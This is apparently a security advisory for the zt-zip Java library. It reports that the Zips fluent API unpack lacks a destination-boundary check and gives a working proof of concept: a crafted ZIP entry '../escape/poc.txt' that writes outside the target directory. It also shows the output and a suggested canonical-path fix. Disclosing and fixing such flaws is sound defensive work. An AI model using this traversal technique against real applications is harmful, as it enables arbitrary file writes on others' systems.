Vulnerability GHSA-52c6-99qm-3hqr
Summary
zt-zip: Path traversal in fluent API unpack
Details
Summary
ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.
A ZIP entry such as:
../escape/poc.txt
is written outside the configured destination directory when processed with:
Zips.get(zip).unpack().destination(outputDir).process();
The transformer branch is affected as well.
Tested Version
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
Root Cause
In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
The method then creates directories/files and copies content to that path:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
When a transformer is configured, the same file is passed to transformIntoFile(...).
There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.
Minimal Reproduction
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
Path zipUtilOut = work.resolve("ziputil-out");
Files.createDirectories(zipUtilOut);
try {
ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
System.out.println("ZIPUTIL_REJECTED=false");
}
catch (Throwable t) {
System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
}
System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));
Files.deleteIfExists(escaped);
Path zipsOut = work.resolve("zips-out");
Files.createDirectories(zipsOut);
Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));
Files.deleteIfExists(escaped);
Path zipsTransformOut = work.resolve("zips-transform-out");
Files.createDirectories(zipsTransformOut);
Zips.get(zip.toFile())
.unpack()
.destination(zipsTransformOut.toFile())
.addTransformer(entryName, new ZipEntryTransformer() {
public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
out.putNextEntry(new ZipEntry(entry.getName()));
out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
out.closeEntry();
}
})
.process();
System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
}
}
Observed output:
ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true
Expected Behavior
Zips.get(zip).unpack().destination(outputDir).process() should reject traversal entries or otherwise ensure that the resolved output path remains inside outputDir.
Impact
Applications that unpack attacker-controlled ZIP files through the Zips fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.
Suggested Fix
Apply the same destination-boundary validation used by ZipUtil.unpack(...) before any filesystem write in Zips.UnpackingCallback.process(...).
For example, compare canonical Path values before creating directories or files:
file.getCanonicalFile().toPath()
.startsWith(destination.getCanonicalFile().toPath())
Regression tests should cover both:
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();
Related Vulnerabilities
Other vulnerabilities affecting the same packages